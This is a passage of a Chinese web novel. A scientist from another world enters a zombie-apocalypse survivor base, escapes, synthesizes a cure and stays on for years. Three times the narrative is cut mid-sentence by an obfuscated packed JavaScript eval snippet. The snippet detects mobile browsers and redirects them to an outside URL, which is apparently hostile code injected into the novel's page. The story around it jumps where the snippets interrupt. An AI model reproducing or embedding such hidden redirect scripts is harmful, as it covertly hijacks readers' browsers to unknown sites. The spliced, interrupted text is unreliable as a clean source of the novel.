曾禾说完,众人陷入诡异的沉默中。 高瘦子倒吸一口气,蓄势大叫的动作被苏弩用警告的眼神制住,捂嘴在一旁夸张地咳嗽。 苏弩不理会她,只是看着曾禾冷静地开口:“确实太异想天开了。” “但是,老大,如果真是这样呢?或许这就是终止末世的机会?” 苏弩还没对开口的队员说什么,小鸟控制着冰面放大了伊冯的脸。 小鸟说:“苏姐,这不是生活在末世中的人能有的眼神。她没有过绝望。” 她总是透着股偏执的眼睛认真地和苏弩对视:“我见过各种各样的人,在末世中,活得再舒服再不懂忧愁的人,也会对没有太阳的天空失望。” “我也觉得奇怪,你看她没伤口的那些地方,我从没见过皮肤这么好的人。”高瘦子说话又急又多,一开口就把氛围带歪。 “瞎说,你前天不是刚见过你妹,能比你妹的皮肤还好?” “我妹刚出生两周!” “人家有白人基因,皮肤不白才怪吧?” “曾禾是白黄混血,她比我还黑。” 几人嘴上没调地说着闲话,手上一个个都在检查装备武器,不约而同地闭嘴看向苏弩。 苏弩伸手点了两个人,说:“她是什么身份,我们总会知道的。小鸟和曾禾留下。其余人跟我走。” 被砸醒的是苏弩。 恢复意识的苏弩愣怔。 被伊冯打晕的那一瞬间,她以为自己必死无疑——这些年在战场上,从没有失去意识还能全身而退的人,一瞬的迟疑都需要代价,无法掌控自己就意味着死亡。 可她还活着。苏弩看到周围躺着的队友,一个不少,都还活着。 这意味着这个少年不是敌人吗?不。 苏弩站起来,而伊冯还在看自己捏着石子的手。 她等了一会儿,见伊冯还是没有理会自己,只好主动开口:“你没有杀了我们,我可以理解为我们不是敌人吗?” 伊冯说:“只要你们不找我麻烦,不纠缠,就不是。” 苏弩在她那不在乎的态度中,突然升腾起怒火:“你究竟是什么人?” 为什么你能不在意?你凭什么可以不在意,因为这一切灾难和挣扎都无法影响到你的生活? 她愤怒地质问:“这末世对你而言,是什么?你们的一场实验,还是一盘游戏?!” 伊冯不知道她都脑补了什么,也无心解释自己只是个无辜的被动穿越者。见苏弩那么激动,她低头吞了颗药:打起来会催化蓝金对身体的侵蚀,先压压。 本是想着既然她们自己送上来,那就搞点情报方便行动。但她这会儿懒怠说话,不想玩心眼套话,偏偏看着好交流的苏弩莫名有了敌意。 伊冯顿了顿,在心里记下:蓝金对精神状态也会造成影响,比如使人发懒,消磨积极性,其余症状待观察。 苏弩恨恨地看了眼出神的伊冯,蹲下叫醒队友们,昏迷得沉些的被她拿冰块往脖子上一贴,都醒了。 “我去什么情况,还以为奶奶我这回死定了!”高瘦子一清醒就嚷嚷开了,“那边那个妹子,你究竟什么意思?有没有兴趣来我们区啊,我们区不爱说话爱打架的哑巴还挺多的。” 伊冯一言难尽地看过去,把手里的碎石都抛开——六人因为她的动作摆出防御的动作。 自觉过分不积极的伊冯总算多说了点话:“往南十里的位置有矿场吗?我要去那里。” “往南十里?那是第六区了,没听说六区有矿啊?” 高瘦子果然口松,伊冯笑:“哪个区有矿?” “二区,七啊!——”被狠掐一把的高瘦子大叫着躲开还想再拧自己的队友,“二七九区有矿又不是什么机密,我又没说漏什么要紧的东西!” 她的队友们带着不同程度的威胁目光恨铁不成钢地瞪过去,高瘦子挠挠脑袋,虽然不觉得自己有错但还是先认怂地闭上嘴。 伊冯的指间闪出几条电光,她闭了闭眼:情绪中出现明显暴力倾向,易怒,烦躁——目前看来,蓝金对人的情绪和精神状态的负面影响较大。除体内的少量蓝金,也应考虑外界磁场因素。还有…… 伊冯问:“你们身上有带矿石?” 伊冯每次开口都十分自我且跳跃,不承接她们的话,这让苏弩更加不快。分明她是那个最怀疑曾禾说法的,现在却是最认定伊冯是来自某个不受末世影响、甚至制造出末世的地方的。 苏弩在袖子里抠了抠,掏出她之前挖出的一块晶核:“你是说这个?” 伊冯一跃小跳到苏弩面前,伸手勾了一下,苏弩顺着她的力松手,没个形状的黄色晶体落在伊冯的掌心。 苏弩看到伊冯手里夹着什么东西,一碰就把晶核切下一角。 伊冯将切下的晶体放进解析仪——不出所料,和蓝金的构成相似,只是缺少了一些成分,让它的能量远不如蓝金,稳定性也差了许多。因为不稳定,放射性物质更多,更影响她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏弩一行不远不近地跟着,见她坐下,也原地稍息。 曾禾的声音出现在苏弩脑中:“苏姐,支援队伍已经就位。考虑到你们距离较近,有暴露风险,暂由奇峰指挥作战。” 苏弩手里捏着个冰片,上面融化又凝结,镂空形成文字:不要急于进攻。 脑中的声音回应后,苏弩把冰片丢下,化成了一滩水。 残破的楼宇间没有其他活物,安静得两百米外的曾禾走出留守点的脚步声也能被伊冯听见。 伊冯笑,调整手心里定影的功能,将它虚虚贴在唇下。 “我有一个提案。你们为我提供设备人手,相应的,我帮你们制药。” 她的声音被扩散在空气中:“你们埋伏这么久都没认真动手,就是想看我有多少利用价值。没有人想变成脑子里长石头的行尸走肉。” 伊冯看着自己手背上点点溃烂的皮肤泛出的金属蓝光:“我也不想。就算是为我自己,我也会尽力。这个方向上,我们应该利益一致?你们尽可以在我变成那种毫无理智的怪物的第一秒杀了我。” 当然,不会给你们这样的机会。 伊冯把定影握进掌心,看着四处出现的人。她们和苏弩一样,脸上满是探究和仇视,又希望能从她身上得到足够多的东西。 伊冯心中对于几时回到原有时空的焦虑,已被新的研究目标带来的期待冲淡。 她站起来,拍去身上的土屑灰尘。 32. 高墙 车队在布满裂缝杂草丛生的水泥路上行进,扬起一路的尘烟。 伊冯捂着口鼻避开飞掠过的沙土,这些和栖止城外的风暴比起来就是点小灰尘,她能忍。 车被地面的异物颠起,坐在车顶的伊冯差点腾空,她抓住车顶置物架的边缘,调动定影往路边劈了一道雷,身下的车迟疑着降速。 速度下降的车轮带起的风沙也少了许多,伊冯深呼吸着,调整自己易怒的情绪。这里的载具防震能力差得吓人,车厢内空气也不流通,她坐在车顶才勉强能顺畅呼吸。伊冯现在对于这些人的“基地”条件很不看好,这些人真的能为她的研究提供帮助吗? 伊冯坐在车顶上怀疑自己的决定,后方车里的苏弩也为带回伊冯的命令感到不安。她透过车窗看着前方越野车顶上的人,她们的种种行动已经称得上冒犯,这个少年也能不在意地提出合作,这说明少年对自己的实力自信到可以这样“宽容”。昏迷前那场让她们无从抵抗的雷霆还历历在目,再加上她观察到少年对抗丧尸群时凝风为刃的手段,苏弩想不到有谁能在正面对抗中压制这个人。 在武力之外,少年还自称能制作解药,这两点足够让各个基地高层忽视她的隐患想要牢牢握在手中——这比少年自身的威胁更危险。 车队载着思虑重重的人们穿过废墟与荒野,平原上拔地倚天的建筑闯入伊冯眼中,灰沉的城墙与昏暗的天空边界模糊,仿佛她被带到了世界地图的边缘,这里因数据处理出错没有加载出画面,只有灰黑。 越靠近城寨的路面越旷阔平坦,伊冯总算不用担心被甩下车,仰头望着高耸的灰墙,心声鼓动。 “这是另一个世界”的事实再一次如此具象地冲击她,激荡的情绪漫过全身的肌肉,将她的嘴角向上推出弧度。 苏弩下车看到伊冯望着基地围墙笑呵呵的样子,她问:“看见这个让你心情很好?” 伊冯歪着脑袋想了会儿,反问她:“这是防御那些病变生物的?” 暴露自己不是原住民也有个好处,想知道的可以直接问。 苏弩皱眉看着还盘腿坐在车顶的伊冯,说:“要进城了,下车。” 虽然她不一定能得到回答。 伊冯跳下车,巨大的灰墙下是一个不成比例的小门,勉强够她们乘坐的车辆通行。伊冯跟着众人走入门内,门内是一扇更小的门,宽度只够单人进出,这扇小门旁是几个穿着大袋子一样的防护服的人。 伊冯回头看着进来的门,是用原始的杆杠和滑轮系统组成的手动开合机关,门的两侧各有十个穿着防护服的人,等车队所有车都开进来后,一同扳动转盘关门。 巨大的金属部件在墙内咬合碰撞着,发出刺耳的声音,这是有人进出的通知,也是对外来者的“欢迎”。 伊冯戴上防噪耳塞,接下来不知道有几道这种门,以防万一。 进门的人被分了两边,跟着穿防护服的人挨个进入一个小帐子里,过了一会儿再换一个人进去。 伊冯问一直站在自己附近的苏弩:“那是在做什么?” 苏弩这次回答了她:“检查身上有没有伤口,以防将感染的人放入人群。” 伊冯:“……所以我不用走这个流程,是吗?” 毕竟她们已经认为她“感染”了。 苏弩点头后伊冯松了口气,对于要排队等待的耐心也多了。 虽然最后被要求穿上一身笨重又影响行动和视线的防护服,但这种程度的要求,伊冯能理解,也不介意配合。 这道门后果然还有一道门,不过这次没有别的程序,门内的人直接开门让她们进去,应该只是出于防御缓冲的目的设置。 三道门后,伊冯总算真正见到了这个“基地”的样貌。 用巨大的铁皮堆叠出的箱式建筑群密集地错落在围墙内,平地上只有几条曲折的小道供来往行走。看得出那些铁皮颜色不一,但都被时间褪色成为了同样的暗淡,锈迹和脱漆在铁皮上织出独特的纹饰,这些痕迹周围包裹着许多手绘的图案。植物把铁箱们包了层灰绿的绒壳,成了视线范围内无法忽视的亮色。 和围墙的灰暗完全不同,风格差异太大,伊冯甚至怀疑自己解锁了新的穿越方式——她看了眼身边没变的人,这些人的神色因为回到熟悉的地方而放松,这里对她们而言是安全的家园。 伊冯又回望那道墙,发现墙内部近地面的部分被画满了涂鸦,旧的被新的覆盖,层层叠叠的,用鲜艳的色彩让灰不再是这里的主色调,墙内自地面向上开出不败的花。 瘦高个注意到伊冯的视线,说:“大部分是基地里的孩子画的,我们无聊的时候也会去乱糊点东西上去。你觉得怎么样?” 伊冯收回视线,继续走路:“不知道,我更喜欢自己去看实物。” 她的话让周围的人脸色又差了两分。 之后没人和她说话,她们一路沉默地走在狭窄的箱楼间小道,许多好奇的视线从上方落在伊冯身上,对着生面孔窃窃私语。 伊冯被带进一栋难得是混凝土材质的楼内。 “苏姐。”等在一楼的女人戴着副满是划痕的厚重橘色镜框眼镜,她见到苏弩便迎上来,警惕地看了伊冯一眼,说:“人都在会议室,你过去就行了。” 伊冯接着又被带出楼,进了个地下室。封闭的房间里,只有在靠近地面的位置有一个装了栏杆的通气口,巴掌大的气口完全不足够消散屋内熏鼻的异味。 里面或坐或躺着几个人,手脚都戴着镣铐。门打开投进光亮,里面的人没有一个对进来的人感兴趣,垂头闭目,只有不知谁发出的沉重叹息闷在室内。 这幅景象让伊冯眉头一跳,她问带她来的人是什么意思,对方说她的住处还没安排好,不能让她和未感染的人住一块,只能先“委屈”她和感染者住一段时间。 很合理,但伊冯很不爽。 伊冯说:“我来之前确认过你们有实验室,我可以住在实验室的消毒间里。” 对方说自己只是服从命令,而后关上了门。 至少没给她上镣铐,她该感激吗?伊冯沉下脸:这些人不会是觉得,她进了她们的基地就能任人摆布了吧? 伊冯扒掉身上的防护服,摸出除味剂点在鼻头,总算能顺畅呼吸。这个世界对她的鼻子很不友好。 屋内太暗,她拿出照明棒贴在墙上,变得明亮的室内光线反而让几人发出不适应的咕哝。 “生面孔,你是哪来的倒霉鬼?” 伊冯回头,是躺得离她最近的一个中年女人在跟她说话。躺着的这个人身上的衣服脏污破烂,屋内的异味有一部分是从她身上来的——其余人的卫生情况比她更糟,屋内被血腥味、汗味和伊冯曾在那些病变怪物那闻到的腐臭混杂的味道填满。 女人发黄的凌乱黑发盖住了一半的脸,露出的部分有两条没有完全结痂的长疤,从额头、眼下穿过鼻梁伸进被遮住的那半张脸,她衣服的破损也是类似的划痕缺口,露出布料下翻出红肉的伤口。 伊冯蹲下仔细观察她的伤处,伤口只做了简单的止血处理,没有清洁消毒也没有使用药物,从溃烂创口流出的脓水在皮肤上结成一块,不断有新的脓水流出盖上一层。 女人的问话没等来回答,倒被紧盯着不放,她还心情不错地笑出声:“你是异能者?谁挖你过来的,我们基地居然还有这魅力,能吸引别区异能者加入?” 伊冯把目光从女人溃烂的伤口上移开,眉头已经扭在一块:“为什么不处理伤口,你们基地的条件没差到不能做清洁。” “当然是因为没必要。给变异的怪物处理伤口只是浪费资源,如果能活下来成为异能者,这点伤更不算什么。”女人看着伊冯无法理解的表情,她自己笑得很轻松,“我不知道你以前待的基地条件有多好,我们这位置不太好,抢不过那些基地,必须物尽其用。” 从角落传出讽刺的笑声,那个人接着被自己呛到发出漏气的咳嗽,那种无力带哭音的咳声听得人心惊,伊冯走过去,不顾对方的抗拒将医检仪摁在她胸口。仪器显示的结果很差,内脏已经有衰败迹象,继续发展下去很快就会衰竭,将她带向死亡。 病变让这个人形容枯槁,但看得出年纪不大,顶多二十出头,本不该在这个年龄靠近她的死亡让她的眼睛填满了恐惧。 就算不用仪器检查,也看得出这个人的情况很危险。她的皮肤僵硬泛绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然这么说,几人脸上还是有着清晰的不安。 蹲在角落的女人虚弱地咳两声,摸着自己手臂上被取血的位置,没有针孔的完好皮肤让她的表情有些茫然。那少年像一阵风,突然吹进来又突然飞走,好像从没来过,只是,她现在突然不觉得自己陷在尸堆里了。 伊冯沿着来时的路,直接闯进还在长篇大论争吵不休的会议室内,对着唯一眼熟的苏弩挥手打招呼。 伊冯说:“我想开始实验了,实验室在哪里?我需要无菌环境。” 因她的突然闯入而安静的众人顿时乱作一团,苏弩护在最前方,以预备攻击的姿势开口:“关于这件事,我们正在开会,请你耐心等待通知。” 伊冯奇怪:“我只是需要一间能满足无菌条件的实验室。这个需要开一分钟以上的会议商讨吗?” 苏弩身后一个似乎是领导的人开口:“我们知道,你拥有远超我们的科技手段,但……” 看着所有人落在自己身上的视线,伊冯猛然了悟:她们觉得自己声称能制药的倚仗是她拥有的设备,那么她们只要把这些设备据为己有,不就用不着和她这个外人合作分利了? 伊冯说:“有想法没关系,但我希望有些想法永远都只是想法。” 丢下这句话,伊冯电翻所有拦路的人冲出楼,直奔基地大门。 基地内响起警戒鸣笛,墙下的出口已经拉上路障,伊冯远远看到那边聚集起全副武装的人,脚下一拐换了方向。 后方的追兵见她改向,分出一路从小道抄近路去前方堵人。 伊冯跑到了无人的城墙下,三面围过来的人堵住所有去路。 追来的人见她停在墙下,又气又得意:“在我们的基地,你还想跑到哪里?你身手再好能力再强,还能飞出这堵墙去?” 伊冯仰头望着巨大的灰墙,越是靠近,越是看不清它与天空的边界,要翻越这堵墙,就好像要越过这片天。 她扬起笑,定影在掌心转动,释放反重力场。 众人目瞪口呆地看着她一跃便冲上云端,消失在那片灰色中。 33. 解药 白昼昏沉的光线到了夜晚更是晦暗,空旷的荒原上,裹着杂物的风将夜幕推出形状。人的影子融在黑暗中,那些僵硬地搬动下肢行走的生物,在极低的能见度下难以引起注意。 蹲在某个高坡上的伊冯叹了口气,调整着功能眼镜的参数。她突然想数数这是自己今天第几次叹气,这样她好歹是给自己找了点能有结果的事做。 知道那些人形的奇怪生物就是人类后,她不由地抗拒对她们做什么。虽然是想着取样跑了出来,但真遇到了她第一反应就是躲,已经换了三个观察点,甚至开始思考“人是什么”这种哲学问题。 按她和这里的人交流时得到的信息,那些被她们称为“丧尸”的病变人只有被砍掉或破坏头部才会停止活动,这说明她们的大脑还在运作,还活着。即使携带病毒,攻击性强且无法交流,还活着就说明还有治愈的可能性。 但“存在可能性”与“能做到”之间,存在的不只是“去做”。 看那个人类基地的样子就知道,她们没有那么多资源,让她们考虑救治这些危险的重感染人群不现实。更何况,伊冯不确定自己什么时候会回到原来的世界,或许就是下一秒,考虑得太多太远,最后连能救的人都救不成。 ……虽然她已经东想西想地消耗了几个小时。 她又叹气,看着千米外那群正转向往她这边来的变异感染者。这么远的距离,她们不该发现她,但她总是被发现。气味、体温、心跳,这些都不会让用仪器掩盖痕迹的她被远距离定位。这些病变的人,体内难道异化出了一套全新的系统? 伊冯捏开一个压缩球,把迅速涨开的长绳绕圈套在身上,跳到坡下。 夜晚对于大多数生物都是用以休养的喘息间隙,荒野中,只有爬虫在地面空隙发出窸窸窣窣的声音。那些拖拽着身子的奇怪脚步惊扰了爬虫,让那些规律的细微声响也变得混乱,混在风声里飘远,成了某种怪异的音色,仿佛行走在天地间的鬼魅低语。 行动缓慢的“人”群偶尔互相碰撞踩踏,让她们异常的剪影时常摇晃,不稳定中酝酿着亟待爆发的危险。 走在队伍外侧的一个又一次被撞倒,ta抽动着身体挺直爬起来,身下的土地突然发软下陷,把ta吞了进去又恢复原状。 十分钟后,伊冯来到这块怪异的土地旁,抓住布满土块碎石的地面,手腕转动竟将地面扭曲,像抓一块布地把它抓离地面——这确实是一块布,被带离伪装区域后便复原为一片半透明的轻薄布块。伊冯搓了几下让它缩成一个小球,再揣进口袋里。她提前挖好的坑里,感染者被绳索缠住四肢,为了摆脱束缚而全力挣扎着,ta腐坏的皮被绳子磨开,硬化的肉在磨动中绽开,被皮连着吊在身上,有些部位已经能见到骨头。ta被病毒腐蚀的身体面目模糊、骨头变形,除了接近人形的轮廓,已失去所有个体特征。 伊冯加快手中的动作,尽快完成采样。采血器无法摄取血样,从破损处来看,ta体内的血液已不再流动,成了类似凝胶的质地,水分似乎更多地分泌在体外,保证附着在体外的病毒活性,方便通过接触传播病毒。 收集起一部分碎肉和血块,剪下ta锋利的指甲,棉签探进口腔取样,切下异常尖利的牙齿一角。这些感染者通过抓伤、咬伤人传播病毒,牙齿和指甲应该是病毒最集中的部位。 她抱着期待检测ta的脑部活动,没有反映。 伊冯看着眼前这个“人”,ta不会感知疼痛,不懂避让危险。一些智力不高的动物在应激状态下也会这样,这没什么,ta病得这么严重,无法处理复杂情况是正常的;但ta的脑部没有丝毫的活动反应,这已是一具尸体,只是病毒的宿主和载体,掌控ta活动的是遍布全身的为了传播繁衍的病毒。 她把手掌放在ta的胸口,手下冰冷的身体弹动着,像一台未更新指令的机器,只会重复地机械行动。她说不清自己现在的情绪算不算难过,只是觉得这样不对。 死者应当安息,以这样的姿态继续活动,是对生命的亵渎。 定影聚起风刃,切断ta的脖子——伊冯忽然感觉浑身不自在,似乎有什么无形的东西贴过来。这种感觉随着失去头部的感染者身体停止动作消失,ta的身体肉眼可见地瘫软加速腐烂,伊冯抽回绳子,把变软的脑袋拼回割裂处。切断头部与身体连接才能停止活动的机制也很讨厌。 划开变软的头骨,溃烂的大脑已看不出结构,还有形状的只有小指指甲盖大的不规则形状结晶。 把创口缝合好,将坑填上,伊冯捡了一块算是方正的石头,想刻点什么为ta留点痕迹。她对ta一无所知,也不知道这个世界现在的确切时间,最后那块石头被她丢开,不去做这些给活人看的事。 采样的解析结果出来了,伊冯打开仪器查看,却看到一条新获取的波段记录。这条波段很规律规整,像是某种指令。比对时间,这条波段应该出现在她切断地下那个丧尸脖子的时候。 这让伊冯产生了某种假设,她还需要更多论据来证实这个假设。 那些被她引开的丧尸群再度向她的方向移动,伊冯转移地点,如法炮制又抓住一个丧尸。取样后砍头,获取到完全一致的波段。 伊冯抓来第三只,将微型机器人送进ta的脑内,观测ta死亡一瞬间的脑内变化。 脑袋和身体分离前,丧尸脑内没有结晶,同样的位置有一团黄水,大脑的结构尚能分辨;分开的一瞬间,奇特的波段出现,仿佛脓水的液体凝结成晶,大脑散开化水,头骨出现大量孔洞变软。 与她预设的情况很接近,伊冯捏着浑浊的黄色结晶,眉头紧锁。这种能把人变成活尸的病毒,有通过尸体攻击未感染对象传播病原的行为模式,当尸体失去行动能力,就吸收尸体残余养分帮助结晶成型。 最终目的是为了生成这种类蓝金物质?这种物质辐射大又不稳定,感染性不如丧尸指甲上的病原体,也不具备生出新感染物质的条件,当作能源使用还不如古老的石油有效率。还有什么被她忽略了吗? 时间走到深夜,天色反而发亮,似乎月亮正当空,为厚重的云层打光,混浊的影子都有了轮廓。丧尸们活跃了很多,行动更加狂暴。 伊冯频繁更换躲藏点,看着仪器上的波段皱眉:连她在基地内提取的采样,都在这些波段中重新恢复活性。它们简直像被这些波段遥控。哪个方向都能检测到这种波段,不扩大搜索范围根本找不到源头。 她计算起在这里做一台飞行器的可能性,到星外要找源头确定区域就简单多了。比起病原,这个能影响病毒的波段更加关键。 好不容易在栖止脱离了什么都缺的窘态,到了这个世界,又感受到这种因为物质条件不足而束手束脚的无力。 伊冯掏出身上的各类药剂,她目前的条件不够从零开始作出真正的解药,借已有的药物做点特效药还是行的。 这里可不是她能自己想办法通过交易得到材料的地方,得让那些人好好配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621605|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因为外来者的出逃,基地内部的骚动一直持续到第二天。 会议室内的争吵比昨天更加激烈,苏弩更是直接被指着鼻子骂:“你们明知她浑身都是不知用途的机器,为什么不收缴了再带进来!” 她斜眼看着坐在对面的人,说:“陈部长,一个没及时得到配合就越墙跑走的人,会配合我上缴吗?” 苏弩说完又补了一句:“进城时,她就一副要搜身她立刻就跑的态度。” 苏弩右手边的橘框眼镜女人说:“我觉得,一开始将她关到隔离间里是有点过分。无论她的来处目的是什么,我们把敌意表现得太明显了。” 桌子另一边有人应和她的话:“拉拢人的初期总是要多让步些,什么都防着人家太小气了。我们区已经被别的区落下很多,别有用心的,用得着算计到我们区来?” “那些区有放弃搞我们吗?你们这帮外勤的是不怕,就算基地有个万一,你们也能被别区招揽嘛?” “说话注意点,我们每次出城都是在赌命,和某些贪生怕死趋利避害的东西不一样。” “你什么意思?!” “行了,这么点话吵了一天,还没说够?”坐在长桌最前方的灰白发女人点着桌面,她开口后,众人都消了声。 灰白发女人继续说:“ 无论她有怎样的能力,都太不可控了。我们对抗丧尸和病毒的模式成型多年,已经很成熟,伤亡人数每年都在大量下降。‘治愈丧尸病毒的药’,听起来很美好,在我还是个孩子的时候,我们也做过这样的梦。” 她布满皱纹的脸上,一双浅棕的眼睛将室内还年轻的脸庞看过,露出温和不失威严的笑:“美梦成真是最好不过,但我们不能为可能性牺牲已拥有的,用稳定去换不确定的成功。” “可是,区长……” 女人抬手示意对方不必说下去:“同意与她合作制药、让她进城,这两件事里我确实投了同意一票,因为我想亲眼见见这个‘神通广大’的外来者。见过后,我对她有了判断,一个可以肆意翻越护城墙的外人,我有责任不接纳她。” 苏弩看着不再出声的众人,她也是反对合作的一员,此刻有了定论,又忽然患得患失:万一那个人真的做得到呢? 会议室内大半人忧形于色,她们都与苏弩有同样的顾虑。 “砰!” 这是会议室的门近期第二次被粗暴地打开。 闯入者满头大汗地扶着门喘气,区长看着她:“如果有紧急情况,拉警报。” “不是,好了……好了……” “什么不好了?” “是好了!”来人终于把气顺平,站直了说话,“隔离室里的人,都好了!” “你把话说清楚,”苏弩站起来紧盯着她,双手不自觉紧握,“前因后果,说清楚。” “是!”被苏弩盯住,她刚顺好气又因为紧张呼吸不太顺畅,“昨天飞走的那个人,她又飞进来了,我们追着她到了隔离室,她把门拆了,说她做了药……” 苏弩不等她说完,冲出会议室。 会议室里的所有人都没耐心继续听,立刻往隔离室的方向赶。 她们赶到时,看到的是伊冯和那些因感染被关押的人,她们中大部分已经看不出感染,面色如常,拥在一起眉飞色舞地又哭又笑。 伊冯从她们的拥抱里把自己扯出来,举起手里的一瓶药剂,对赶来的基地话事人们说:“现在,你们愿意配合了吗?” 34.五年 有治愈的例子在眼前,恐惧病变的人们爆发出了极强烈的拥护情绪。一时之间,这个凭空冒出的陌生人仿佛从天而降的救世主,人们对她投射了巨大的期待,梦想有朝一日,世界变成传说中那样阳光明媚安居乐业的样子。 无论基地管理层有怎样的顾虑,至少明面上她们得照顾大多数人的情绪。 基地半废弃的实验室重新启动,以伊冯为中心组建的科研队开始运作。 但那些久不使用的设备缺乏维护,与废铁无异。去仓库转了一圈,伊冯没看到用得上的东西,想做新设备除非把城墙里的机关融掉,或是拆了她带来的机器。 于是她提出联络各区域,集中资源供应她的研究。基地的人又是一通搪塞,把一句话扩展成十句话,用许多废话来说明“这件事背后利害关系复杂,不能随便决定”这一点。 伊冯听明白了人类各区有利益纠纷、不是能随意合作的友好关系,但不明白为什么这些人在存亡危机前还在搞政治内斗。要和病毒比谁杀死的人多吗? 什么都没有把药做好重要,伊冯扭头又跑到墙下——她自己去找有资源的地方合作,反正她对于哪边都是外来者,只要能把药和需要的设备做出来,她无所谓在哪里做研究。 正要启动反重力装置,墙面生出白花,数十朵白花舒展枝叶互相勾缠,向上方延伸,脱出墙聚成冰拦在上方。 伊冯看向身后,从她们重新确立合作关系后,苏弩就一直在她附近,不与她交流也不走近,只在三米远的位置用警惕的眼神盯着她不放。她能理解她们的不信任,被监视也没放在心上,但现在她们提供不了条件,还想限制她的行动,这就过分了。 定影劈出电流击碎冰面,更多霜花凝聚向她包拢,电流比冰墙生成得更快更急,雷霆扩散到冰墙碎片之外,在霹雳声中,有一声忍痛的闷哼。 伊冯停止攻击,苏弩已经站在她前方半米的位置,捂着胸口浑身发颤,因疼痛弓着背勉强维持站立,用倔强的眼神抬头看她。 她是故意被击中的。 难不成是想打同情牌?不好意思,她不吃这套。 伊冯说:“你们资源这么紧张,你还要浪费伤药?” 苏弩疼得说不出话,拖着身体越过伊冯走到墙前,右手撑在墙上,冰迹自她掌下蔓延铺开,冰上化出文字:正因为我们资源有限,我们才是你最好的合作方。别的区域没有我们困难,终结末日于她们未必是好事。你应该能看出来,防御丧尸用不到这么高这么厚的墙,这面墙是为了防御别区的攻击。人类的历史写满了战争,只是让人尚有喘息余地的丧毒,不会让我们团结,反而更加激化战争狂抢夺资源的欲望。 冰面在墙上扩大,苏弩没有停顿地在冰上一笔一划地留下字句:你很强,有很多我们无法应对的手段,但这或许只是因为我们太弱。在那些拥有更多异能者的区域,你未必能全身而退——你已经知道我们没能力为难你,你在这里会更自由。 写完这些,苏弩终于从雷击的疼痛中恢复了体力,站直了直视伊冯的眼睛,开口说:“我们需要你,我会帮你说服基地里不配合你的人,我的小队会全力协助你寻找需要的材料。请你留下,帮我们活下去。” 伊冯看着苏弩留在墙上的冰痕,白洁的冰在灰黑的墙上显眼得突兀,墙上的涂鸦从镂空的字中露出颜色,仿佛在纸上用彩笔写诗,过分浪漫。 伊冯关闭反重力器,不管苏弩说的是真是假,既然给出了这样的态度,她乐得省事。 不过她还有一个问题:“你为什么要故意被击中?” 苏弩扯出一个很快消失的笑:“我欠你的。你的药治好了我的朋友,但我无法放下对你的防备,对不起。” 伊冯皱眉:“你道歉的方式真奇怪,你被电能补偿我什么?反而浪费我的能源。” 苏弩僵硬的面部表情更显尴尬,伊冯见她没话说了,拿定影调出一寸热风,在冰面空白处刻下需要的物品清单,让苏弩用行动证明她的话。 在这个世界停留的时间远超伊冯的预想。 记录下上一个程序得出的数据,伊冯把试剂放入仪器中萃取。设备的提取效率太低,需要重复萃取十次才能得到她需要的纯度,而每一次萃取都要耗费半个小时——把试剂放入后,伊冯交代助理进行后续的工作,她自己则泡了杯营养液,捧着烫手的杯子走出实验室。 不是她不愿等待,以她的习惯,每一步都不愿假手于人。但她的身体状况太差,与其耗在那,所有人都希望她能好好休养以面对更多的研究。 这毕竟是关乎全世界人类未来的实验,多年过去,已经不会有人如此愚蠢地在她的实验里做手脚。 她找了个稳固的杂物堆坐下,杯里的液体对于脆弱的口腔内壁而言温度过高,但能从日渐迟钝的双手传来令她舒心的暖意。 从效率上考虑,住在实验室里更方便,自行移动对她的身体也有负担。但伊冯不愿意。 如果她的活动范围只在实验室里,那么久而久之,所有人都会只当她是个研究制药的道具——即便这就是她们契约的实质,但强化这种关系,只会让她丧失话语权。 所以即使察觉到许多敌意,甚至遭受了几次袭击,伊冯也会抽空在普通民众面前时不时转悠一会儿刷存在感。就算有些人固执地认为她和造成末世的某些存在有关系,也不得不慢慢习惯她的存在,记住她是她们的救星。 伊冯看着不远处的铁皮建筑群,自己如今的住所。 五年前,她在那堆铁皮箱子里挑了个位置最高视野最好的,后来因为她行动越来越困难,被强行搬到了中部的位置。基地的人想让她住到最底部的位置,不用往上爬最省事,她不肯,为此又闹腾了一番,最后双方各让一步。 从这里看过去,那两个她住过的箱子比别的都要亮几度。她在热饮升腾起的雾气中眨眼回想着:对了,直到两年前,她还有用微型机器人给住处内外打扫的习惯,后来机器人能源耗尽,她也因为身体状况不好懒得维护住处,直接把机器人拆开融了做设备。没有日常清洁护理的铁皮箱,很快染回了之前的锈迹,在铁皮上织出独特的纹饰。伊冯学这里的人随手在自己住的那个铁箱子上划些符号,久了也有些风味。 总是潮湿沉闷的气候,让植物轻易地把铁箱们包了层灰绿的绒壳。植物的生长会侵蚀建立不易的住处,所以伊冯不自己打扫后,负责基地卫生的清洁工会定时来清理杂草。清洁工由没有战斗力和学识不高的普通人担任,大部分是不到十岁的瘦弱孩子,有点力气又承担不了更重的体力活,做点扫灰拔草的工作正合适。 伊冯对着那些干活途中偷偷看她的孩子们挥手,露出十分和善的笑容。 那些小孩忙避开她的视线,低头用力拔草清洁。 伊冯的笑瞬间如幻觉般消散不见,捧起杯子抿了一口,温度还是刺激到了口腔黏膜。 